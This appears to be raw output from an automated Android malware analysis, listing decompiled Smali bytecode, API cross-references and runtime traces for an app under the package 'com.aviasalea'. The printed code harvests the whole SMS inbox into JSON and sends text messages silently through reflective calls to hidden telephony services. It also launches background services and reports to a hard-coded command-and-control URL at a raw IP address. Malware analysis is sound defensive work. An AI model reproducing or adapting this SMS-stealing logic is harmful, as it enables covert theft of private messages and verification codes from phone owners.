                                      19move-result v0
                                      20if-nez v0, :cond_24
                                      22invoke-static {}, Lde/greenrobot/event/EventBus;->getDefault()Lde/greenrobot/event/EventBus;
                                      23move-result-object v0
                                      25invoke-virtual {v0, p0}, Lde/greenrobot/event/EventBus;->registerSticky(Ljava/lang/Object;)V
                                      26cond_24: return-void
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.getApplicationContext
                                      • android.content.Context.startService
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2new-instance v0, Landroid/content/Intent;
                                      3const-class v1, Lcom/aviasalea/srs/CmndSrs;
                                      5invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      7invoke-virtual {p0}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->getApplicationContext()Landroid/content/Context;
                                      8move-result-object v1
                                      10invoke-virtual {v1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                      • Time: 1349972
                                        • This:
                                          • com.aviasalea.Realtalk@428ef53
                                        • p0: Intent { cmp=com.aviasalea/.srs.CmndSrs }
                                        • Return:
                                          • ComponentInfo{com.aviasalea/com.aviasalea.srs.CmndSrs}
                                      11return-void
                                      APIs
                                      Strings
                                      • http://185.212.128.192/1324273/report.php
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-virtual {p0}, Lcom/aviasalea/mess/api/SendReceivedSmsRequest;->getBaseUrl()Ljava/lang/String;
                                      • Time: 1436862
                                        • This:
                                          • com.aviasalea.mess.api.SendReceivedSmsRequest@af5574a
                                        • Return:
                                          • http://185.212.128.192/1324273/report.php
                                      3move-result-object v0
                                      4return-object v0

                                      501 Non-Executed Methods

                                      Cross References
                                      APIs
                                      • android.os.Build.MODEL:Ljava/lang/String
                                      • java.lang.String.equals
                                      • java.lang.Class.forName
                                      • java.lang.Class.getDeclaredMethod
                                      • java.lang.reflect.Method.setAccessible
                                      • java.lang.reflect.Method.invoke
                                      • java.lang.Class.forName
                                      • java.lang.Class.getDeclaredMethod
                                      • java.lang.reflect.Method.setAccessible
                                      • java.lang.reflect.Method.invoke
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • java.lang.Object.getClass
                                      • java.lang.Class.getMethod
                                      • java.lang.reflect.Method.invoke
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.Exception.<init>
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.ClassNotFoundException.getMessage
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • java.lang.ClassNotFoundException.printStackTrace
                                      • android.util.Log.e
                                      • java.util.ArrayList.<init>
                                      • android.telephony.SubscriptionManager.from
                                      • android.telephony.SubscriptionManager.getActiveSubscriptionInfoList
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • android.telephony.SubscriptionInfo.getSubscriptionId
                                      • java.lang.Integer.valueOf
                                      • java.util.ArrayList.add
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.NoSuchMethodException.getMessage
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • android.util.Log.e
                                      • java.lang.NoSuchMethodException.printStackTrace
                                      • java.util.ArrayList.get
                                      • java.lang.Integer.intValue
                                      • android.telephony.SmsManager.getSmsManagerForSubscriptionId
                                      • android.telephony.SmsManager.sendTextMessage
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.reflect.InvocationTargetException.getMessage
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • android.util.Log.e
                                      • java.lang.reflect.InvocationTargetException.printStackTrace
                                      • android.telephony.SmsManager.getDefault
                                      • android.telephony.SmsManager.sendTextMessage
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.IllegalAccessException.getMessage
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • android.util.Log.e
                                      • java.lang.IllegalAccessException.printStackTrace
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.Exception.getMessage
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.e
                                      • android.util.Log.e
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • Philips T939
                                      • isms0
                                      • android.os.ServiceManager
                                      • getService
                                      • com.android.internal.telephony.ISms$Stub
                                      • asInterface
                                      • MsTls
                                      • send msg -
                                      • sendText
                                      • isms
                                      • isms2
                                      • can not get service which for sim \'
                                      • \', only 0,1 accepted as values
                                      • apipas
                                      • ClassNotFoundException:
                                      • error 1
                                      • SmsManager - subscriptionId:
                                      • NoSuchMethodException:
                                      • error 2
                                      • InvocationTargetException:
                                      • error 3
                                      • IllegalAccessException:
                                      • error 4
                                      • Exception:
                                      • error 5
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "simID" # I
                                      2.param p2, "toNum" # Ljava/lang/String;
                                      3.param p3, "centerNum" # Ljava/lang/String;
                                      4.param p4, "smsText" # Ljava/lang/String;
                                      5.param p5, "sentIntent" # Landroid/app/PendingIntent;
                                      6.param p6, "deliveryIntent" # Landroid/app/PendingIntent;
                                      7.prologue
                                      8if-nez p1, :cond_b5
                                      9try_start_2:
                                      10sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                      12const-string v2, "Philips T939"
                                      14invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      15move-result v1
                                      16if-eqz v1, :cond_b1
                                      18const-string v11, "isms0"
                                      19goto_e:
                                      20const-string v1, "android.os.ServiceManager"
                                      22invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                      23move-result-object v1
                                      25const-string v2, "getService"
                                      26const/4 v3, 0x1
                                      27new-array v3, v3, [Ljava/lang/Class;
                                      28const/4 v4, 0x0
                                      29const-class v5, Ljava/lang/String;
                                      30aput-object v5, v3, v4
                                      32invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                      33move-result-object v8
                                      34const/4 v1, 0x1
                                      36invoke-virtual {v8, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                      37const/4 v1, 0x0
                                      38const/4 v2, 0x1
                                      39new-array v2, v2, [Ljava/lang/Object;
                                      40const/4 v3, 0x0
                                      41aput-object v11, v2, v3
                                      43invoke-virtual {v8, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                      44move-result-object v10
                                      46const-string v1, "com.android.internal.telephony.ISms$Stub"
                                      48invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                      49move-result-object v1
                                      51const-string v2, "asInterface"
                                      52const/4 v3, 0x1
                                      53new-array v3, v3, [Ljava/lang/Class;
                                      54const/4 v4, 0x0
                                      55const-class v5, Landroid/os/IBinder;
                                      56aput-object v5, v3, v4
                                      58invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                      59move-result-object v8
                                      60const/4 v1, 0x1
                                      62invoke-virtual {v8, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                      63const/4 v1, 0x0
                                      64const/4 v2, 0x1
                                      65new-array v2, v2, [Ljava/lang/Object;
                                      66const/4 v3, 0x0
                                      67aput-object v10, v2, v3
                                      69invoke-virtual {v8, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                      70move-result-object v10
                                      72const-string v1, "MsTls"
                                      73new-instance v2, Ljava/lang/StringBuilder;
                                      75invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      77const-string v3, "send msg - "
                                      79invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      80move-result-object v2
                                      81move-object/from16 v0, p4
                                      83invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      84move-result-object v2
                                      86invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      87move-result-object v2
                                      89invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      90sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                      91const/16 v2, 0x12
                                      92if-ge v1, v2, :cond_104
                                      94invoke-virtual {v10}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      95move-result-object v1
                                      97const-string v2, "sendText"
                                      98const/4 v3, 0x5
                                      99new-array v3, v3, [Ljava/lang/Class;
                                      100const/4 v4, 0x0
                                      101const-class v5, Ljava/lang/String;
                                      102aput-object v5, v3, v4
                                      103const/4 v4, 0x1
                                      104const-class v5, Ljava/lang/String;
                                      105aput-object v5, v3, v4
                                      106const/4 v4, 0x2
                                      107const-class v5, Ljava/lang/String;
                                      108aput-object v5, v3, v4
                                      109const/4 v4, 0x3
                                      110const-class v5, Landroid/app/PendingIntent;
                                      111aput-object v5, v3, v4
                                      112const/4 v4, 0x4
                                      113const-class v5, Landroid/app/PendingIntent;
                                      114aput-object v5, v3, v4
                                      116invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                      117move-result-object v1
                                      118const/4 v2, 0x5
                                      119new-array v2, v2, [Ljava/lang/Object;
                                      120const/4 v3, 0x0
                                      121aput-object p2, v2, v3
                                      122const/4 v3, 0x1
                                      123aput-object p3, v2, v3
                                      124const/4 v3, 0x2
                                      125aput-object p4, v2, v3
                                      126const/4 v3, 0x3
                                      127aput-object p5, v2, v3
                                      128const/4 v3, 0x4
                                      129aput-object p6, v2, v3
                                      131invoke-virtual {v1, v10, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                      132goto_af: const/4 v1, 0x1
                                      133goto_b0: return v1
                                      134cond_b1:
                                      135const-string v11, "isms"
                                      136goto/16 :goto_e
                                      137cond_b5: const/4 v1, 0x1
                                      138if-ne p1, v1, :cond_bc
                                      140const-string v11, "isms2"
                                      141goto/16 :goto_e
                                      142cond_bc: new-instance v1, Ljava/lang/Exception;
                                      143new-instance v2, Ljava/lang/StringBuilder;
                                      145invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      147const-string v3, "can not get service which for sim \'"
                                      149invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      150move-result-object v2
                                      152invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      153move-result-object v2
                                      155const-string v3, "\', only 0,1 accepted as values"
                                      157invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      158move-result-object v2
                                      160invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      161move-result-object v2
                                      163invoke-direct {v1, v2}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
                                      164throw v1
                                      165try_end_db: move-exception v9
                                      167const-string v1, "apipas"
                                      168new-instance v2, Ljava/lang/StringBuilder;
                                      170invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      172const-string v3, "ClassNotFoundException:"
                                      174invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      175move-result-object v2
                                      177invoke-virtual {v9}, Ljava/lang/ClassNotFoundException;->getMessage()Ljava/lang/String;
                                      178move-result-object v3
                                      180invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      181move-result-object v2
                                      183invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      184move-result-object v2
                                      186invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      188invoke-virtual {v9}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                                      190const-string v1, "MsTls"
                                      192const-string v2, "error 1"
                                      194invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      195const/4 v1, 0x0
                                      196goto/16 :goto_b0
                                      197try_start_104:
                                      198invoke-static {p0}, Lcom/aviasalea/checktls/MsTls;->lollypopPlus(Landroid/content/Context;)Z
                                      199move-result v1
                                      200if-eqz v1, :cond_1bb
                                      201new-instance v7, Ljava/util/ArrayList;
                                      203invoke-direct {v7}, Ljava/util/ArrayList;-><init>()V
                                      205invoke-static {p0}, Landroid/telephony/SubscriptionManager;->from(Landroid/content/Context;)Landroid/telephony/SubscriptionManager;
                                      206move-result-object v1
                                      208invoke-virtual {v1}, Landroid/telephony/SubscriptionManager;->getActiveSubscriptionInfoList()Ljava/util/List;
                                      209move-result-object v1
                                      211invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      212move-result-object v1
                                      213goto_11b:
                                      214invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                      215move-result v2
                                      216if-eqz v2, :cond_175
                                      218invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      219move-result-object v12
                                      220check-cast v12, Landroid/telephony/SubscriptionInfo;
                                      222invoke-virtual {v12}, Landroid/telephony/SubscriptionInfo;->getSubscriptionId()I
                                      223move-result v13
                                      225invoke-static {v13}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      226move-result-object v2
                                      228invoke-virtual {v7, v2}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                      230const-string v2, "MsTls"
                                      231new-instance v3, Ljava/lang/StringBuilder;
                                      233invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      235const-string v4, "SmsManager - subscriptionId: "
                                      237invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      238move-result-object v3
                                      240invoke-virtual {v3, v13}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      241move-result-object v3
                                      243invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      244move-result-object v3
                                      246invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      247try_end_14a: goto/16 :goto_11b
                                      248catch_14b: move-exception v9
                                      250const-string v1, "apipas"
                                      251new-instance v2, Ljava/lang/StringBuilder;
                                      253invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      255const-string v3, "NoSuchMethodException:"
                                      257invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      258move-result-object v2
                                      260invoke-virtual {v9}, Ljava/lang/NoSuchMethodException;->getMessage()Ljava/lang/String;
                                      261move-result-object v3
                                      263invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      264move-result-object v2
                                      266invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      267move-result-object v2
                                      269invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      271const-string v1, "MsTls"
                                      273const-string v2, "error 2"
                                      275invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      277invoke-virtual {v9}, Ljava/lang/NoSuchMethodException;->printStackTrace()V
                                      278const/4 v1, 0x0
                                      279goto/16 :goto_b0
                                      280cond_175:
                                      281invoke-virtual {v7, p1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                                      282move-result-object v1
                                      283check-cast v1, Ljava/lang/Integer;
                                      285invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                                      286move-result v1
                                      288invoke-static {v1}, Landroid/telephony/SmsManager;->getSmsManagerForSubscriptionId(I)Landroid/telephony/SmsManager;
                                      289move-result-object v1
                                      290const/4 v3, 0x0
                                      291move-object/from16 v2, p2
                                      292move-object/from16 v4, p4
                                      293move-object/from16 v5, p5
                                      294move-object/from16 v6, p6
                                      296invoke-virtual/range {v1 .. v6}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
                                      297try_end_18f: goto/16 :goto_af
                                      298catch_191: move-exception v9
                                      300const-string v1, "apipas"
                                      301new-instance v2, Ljava/lang/StringBuilder;
                                      303invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      305const-string v3, "InvocationTargetException:"
                                      307invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      308move-result-object v2
                                      310invoke-virtual {v9}, Ljava/lang/reflect/InvocationTargetException;->getMessage()Ljava/lang/String;
                                      311move-result-object v3
                                      313invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      314move-result-object v2
                                      316invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      317move-result-object v2
                                      319invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      321const-string v1, "MsTls"
                                      323const-string v2, "error 3"
                                      325invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      327invoke-virtual {v9}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
                                      328const/4 v1, 0x0
                                      329goto/16 :goto_b0
                                      330cond_1bb:
                                      331invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
                                      332move-result-object v1
                                      333const/4 v3, 0x0
                                      334move-object/from16 v2, p2
                                      335move-object/from16 v4, p4
                                      336move-object/from16 v5, p5
                                      337move-object/from16 v6, p6
                                      339invoke-virtual/range {v1 .. v6}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
                                      340try_end_1cb: goto/16 :goto_af
                                      341catch_1cd: move-exception v9
                                      343const-string v1, "apipas"
                                      344new-instance v2, Ljava/lang/StringBuilder;
                                      346invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      348const-string v3, "IllegalAccessException:"
                                      350invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      351move-result-object v2
                                      353invoke-virtual {v9}, Ljava/lang/IllegalAccessException;->getMessage()Ljava/lang/String;
                                      354move-result-object v3
                                      356invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      357move-result-object v2
                                      359invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      360move-result-object v2
                                      362invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      364const-string v1, "MsTls"
                                      366const-string v2, "error 4"
                                      368invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      370invoke-virtual {v9}, Ljava/lang/IllegalAccessException;->printStackTrace()V
                                      371const/4 v1, 0x0
                                      372goto/16 :goto_b0
                                      373catch_1f7: move-exception v9
                                      375const-string v1, "apipas"
                                      376new-instance v2, Ljava/lang/StringBuilder;
                                      378invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      380const-string v3, "Exception:"
                                      382invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      383move-result-object v2
                                      385invoke-virtual {v9}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                      386move-result-object v3
                                      388invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      389move-result-object v2
                                      391invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      392move-result-object v2
                                      394invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      396const-string v1, "MsTls"
                                      398const-string v2, "error 5"
                                      400invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      402invoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V
                                      403const/4 v1, 0x0
                                      404goto/16 :goto_b0
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • android.content.Context.getContentResolver
                                      • android.net.Uri.parse
                                      • android.content.ContentResolver.query
                                      • org.json.JSONArray.<init>
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.moveToFirst
                                      • android.database.Cursor.close
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.<init>
                                      • android.database.Cursor.getString
                                      • org.json.JSONObject.put
                                      • android.database.Cursor.getString
                                      • org.json.JSONObject.put
                                      • android.database.Cursor.getString
                                      • org.json.JSONObject.put
                                      • android.database.Cursor.getLong
                                      • android.content.Context.getString
                                      • org.json.JSONObject.put
                                      • android.database.Cursor.getInt
                                      • org.json.JSONObject.put
                                      • org.json.JSONArray.put
                                      • android.database.Cursor.moveToNext
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report
                                      • fullsms
                                      • id
                                      • content://sms/inbox
                                      • thread_id
                                      • body
                                      • address
                                      • date
                                      • read
                                      • objects
                                      • 1
                                      • number
                                      • message
                                      • isread
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v15, Lorg/json/JSONObject;
                                      9invoke-direct {v15}, Lorg/json/JSONObject;-><init>()V
                                      10new-instance v16, Lorg/json/JSONObject;
                                      12invoke-direct/range {v16 .. v16}, Lorg/json/JSONObject;-><init>()V
                                      14const-string v3, "report"
                                      16const-string v4, "fullsms"
                                      18invoke-virtual {v15, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      20const-string v3, "id"
                                      22invoke-static/range {p1 .. p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      23move-result-object v4
                                      25invoke-virtual {v15, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      27invoke-virtual/range {p1 .. p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                      28move-result-object v2
                                      30const-string v3, "content://sms/inbox"
                                      32invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                      33move-result-object v3
                                      34const/4 v4, 0x0
                                      35const/4 v5, 0x0
                                      36const/4 v6, 0x0
                                      37const/4 v7, 0x0
                                      39invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                      40move-result-object v19
                                      41new-instance v14, Lorg/json/JSONArray;
                                      43invoke-direct {v14}, Lorg/json/JSONArray;-><init>()V
                                      44if-eqz v19, :cond_66
                                      46const-string v3, "thread_id"
                                      47move-object/from16 v0, v19
                                      49invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      50move-result v20
                                      52const-string v3, "body"
                                      53move-object/from16 v0, v19
                                      55invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      56move-result v11
                                      58const-string v3, "address"
                                      59move-object/from16 v0, v19
                                      61invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      62move-result v10
                                      64const-string v3, "date"
                                      65move-object/from16 v0, v19
                                      67invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      68move-result v12
                                      70const-string v3, "read"
                                      71move-object/from16 v0, v19
                                      73invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      74move-result v13
                                      75if-ltz v11, :cond_63
                                      77invoke-interface/range {v19 .. v19}, Landroid/database/Cursor;->moveToFirst()Z
                                      78move-result v3
                                      79if-nez v3, :cond_77
                                      80goto_63:
                                      81invoke-interface/range {v19 .. v19}, Landroid/database/Cursor;->close()V
                                      82cond_66:
                                      83const-string v3, "objects"
                                      85invoke-virtual {v15, v3, v14}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      87const-string v3, "1"
                                      88move-object/from16 v0, v16
                                      90invoke-virtual {v0, v3, v15}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      92invoke-static/range {v16 .. v16}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      93move-result-object v3
                                      94return-object v3
                                      95cond_77: new-instance v17, Lorg/json/JSONObject;
                                      97invoke-direct/range {v17 .. v17}, Lorg/json/JSONObject;-><init>()V
                                      99const-string v3, "thread_id"
                                      101invoke-interface/range {v19 .. v20}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      102move-result-object v4
                                      103move-object/from16 v0, v17
                                      105invoke-virtual {v0, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      107const-string v3, "number"
                                      108move-object/from16 v0, v19
                                      110invoke-interface {v0, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      111move-result-object v4
                                      112move-object/from16 v0, v17
                                      114invoke-virtual {v0, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      116const-string v3, "message"
                                      117move-object/from16 v0, v19
                                      119invoke-interface {v0, v11}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      120move-result-object v4
                                      121move-object/from16 v0, v17
                                      123invoke-virtual {v0, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      125const-string v18, ""
                                      126try_start_a3: move-object/from16 v0, v19
                                      128invoke-interface {v0, v12}, Landroid/database/Cursor;->getLong(I)J
                                      129move-result-wide v22
                                      131invoke-static/range {v22 .. v23}, Lcom/aviasalea/checktls/DtTls;->getDate(J)Ljava/util/Date;
                                      132move-result-object v9
                                      133const v3, 0x7f0a0014
                                      134move-object/from16 v0, p1
                                      136invoke-virtual {v0, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      137move-result-object v3
                                      139invoke-static {v9, v3}, Lcom/aviasalea/checktls/DtTls;->getCurrentDate(Ljava/util/Date;Ljava/lang/String;)Ljava/lang/String;
                                      140try_end_b9: move-result-object v18
                                      141goto_ba:
                                      142const-string v3, "date"
                                      143move-object/from16 v0, v17
                                      144move-object/from16 v1, v18
                                      146invoke-virtual {v0, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      148const-string v3, "isread"
                                      149move-object/from16 v0, v19
                                      151invoke-interface {v0, v13}, Landroid/database/Cursor;->getInt(I)I
                                      152move-result v4
                                      153move-object/from16 v0, p0
                                      155invoke-direct {v0, v4}, Lcom/aviasalea/srs/api/requests/RegistrationReportStep4Request;->isRead(I)Ljava/lang/String;
                                      156move-result-object v4
                                      157move-object/from16 v0, v17
                                      159invoke-virtual {v0, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      160move-object/from16 v0, v17
                                      162invoke-virtual {v14, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                      164invoke-interface/range {v19 .. v19}, Landroid/database/Cursor;->moveToNext()Z
